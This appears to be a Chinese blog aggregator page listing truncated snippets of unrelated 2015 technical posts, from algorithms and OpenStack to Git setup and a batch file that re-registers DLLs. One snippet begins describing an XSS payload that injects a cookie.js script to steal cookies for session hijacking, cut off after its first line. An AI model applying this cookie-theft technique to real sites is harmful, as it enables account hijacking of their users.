引言本文来自于Google的一道题目:how to merge two binary search tree into balanced binary search tree.how to merge two binary search tree into balanced binary searc...
分类:
其他好文 时间:
2015-01-22 14:39:12
阅读次数:
207
1. N的因子个数条件:给定任意一个一个正整数N要求:求其因子的个数首先给出结论:对于任意的整型N,分解质因数得到N= P1^x1 * P2^x2* …… * Pn^xn;则N的因子个数M为 M=(x1+1) * (x2+1) * …… *(xn+1);证明过程:首先 举个例子吧24 = 2^3 *...
分类:
其他好文 时间:
2015-01-22 14:38:12
阅读次数:
1453
Description“Point, point, life of student!”This is a ballad(歌谣)well known in colleges, and you must care about your score in this exam too. How many p...
分类:
其他好文 时间:
2015-01-22 14:38:12
阅读次数:
187
微软近期Open的职位:We are the Skype Beijing team. Skype division drives the communications strategy for Microsoft and has a vision is to “be the global commu...
分类:
其他好文 时间:
2015-01-22 14:37:29
阅读次数:
215
近期在部署OpenStack时涉及到各个服务之间的诸多概念,这里简要记录其中的一些作为备忘。服务(service)在OpenStack中,一个服务有若干端点,用户通过端点访问服务并使用服务提供的功能;计算服务(Compute Service)——Nova网络服务(Networking Servi.....
分类:
其他好文 时间:
2015-01-22 14:37:08
阅读次数:
298
using AnfleCrawler.Common;using System;using System.Collections.Generic;using System.Linq;using System.Net;using System.Text;using System.Threading.Ta...
分类:
其他好文 时间:
2015-01-22 14:38:14
阅读次数:
135
#include #include #include #include char ** split(char *mother, char split_char){ char *arry[1024]; //the MAX sub string is 1024 and you can modif...
分类:
其他好文 时间:
2015-01-22 14:35:39
阅读次数:
181
由于我新建了一个团队,团队里的人对于GIT都不太熟悉,所以才有了这篇文章。我用的是git-1.9.4的版本,所以我建议团队里面的成员也使用这个版本。首先是下载git,这个自己去网上找吧,一大堆,记得是1.9.4版本。安装的话需要注意一下这个地方。记得把框框里面的都勾上,这个是右键菜单里的东西,很.....
分类:
其他好文 时间:
2015-01-22 14:35:50
阅读次数:
164
xss payload可以使用富客户端文本书写,大多数用javascript,少部分用actionscript等等。1.盗取cookie,发起cookie劫持使用xss漏洞插入cookie.jscookie.js代码:1var img = document.createElement("img");...
分类:
其他好文 时间:
2015-01-22 14:36:18
阅读次数:
271
@echo offecho 运行后,能重新注册系统所有的dll文件,echo 能解决内存读写错误的问题pauseecho onfor %%1 in (%windir%/system32/*.dll) do regsvr32.exe /s %%1echo 注册dll完成pause
分类:
其他好文 时间:
2015-01-22 14:34:18
阅读次数:
150
jQuery.mobile.changePage( to [, options ] )从一个页面跳转到另一个页面,使用$.mobile对象的changePage方法来实现。但要使用此方式的时候,要以点击一个链接或者提交表单来实现。此方法有两个参数。to:是第一个参数,是必须的,不可缺少。类型:字符串...
分类:
其他好文 时间:
2015-01-22 14:34:46
阅读次数:
143
因为工作原因,前段时间遇到这样的问题游戏角色合服,但是每个区服下同一个账号只能保留3个角色,那么问题来了,挖掘机技术那家强?...
分类:
其他好文 时间:
2015-01-22 13:27:09
阅读次数:
272
Is a loop ? Question descrip as follows :
Assume that wehave a head pointer to a link-list. Also assumethat we know the list is single-linked. Can you come up an algorithm to checkwhether this link list includes a loop by using O(n) time and O(1) ...
分类:
其他好文 时间:
2015-01-22 13:28:16
阅读次数:
229
root@ArmCat:~# hciconfig -a
hci0: Type: BR/EDR Bus: SDIO
BD Address: CC:52:AF:D6:1C:3...
分类:
其他好文 时间:
2015-01-22 13:26:50
阅读次数:
298
一、deb包安装condor方法
自己去下载condor-8.2.6-287355-ubuntu_14.04_amd64.deb。我还下载了一个libmpich2-3_1.4.1-4.2_amd64.deb包,这是condor需要的一个依赖包,apt-get解决不了,就自己安装一下。我新建了一个condor用户,并将其加入sudoers,以下的操作都是在condor下进行的
安装deb包
$...
分类:
其他好文 时间:
2015-01-22 13:27:19
阅读次数:
220
HDU5137 How Many Maos Does the Guanxi Worth (13广州现场赛K题 )--最短路问题...
分类:
其他好文 时间:
2015-01-22 13:25:40
阅读次数:
243
说是什么包裹到期即将退回,
按1听到一个男的说法,
声音比较低
我还没听出个所以然来就挂断了
害我兴冲冲跑到楼下邮局
一问
根本没这回事
一个张得蛮帅的正在搬货的工作人员说
邮局没有电信自动服务
估计是个骗子电话
靠...
分类:
其他好文 时间:
2015-01-22 13:27:36
阅读次数:
165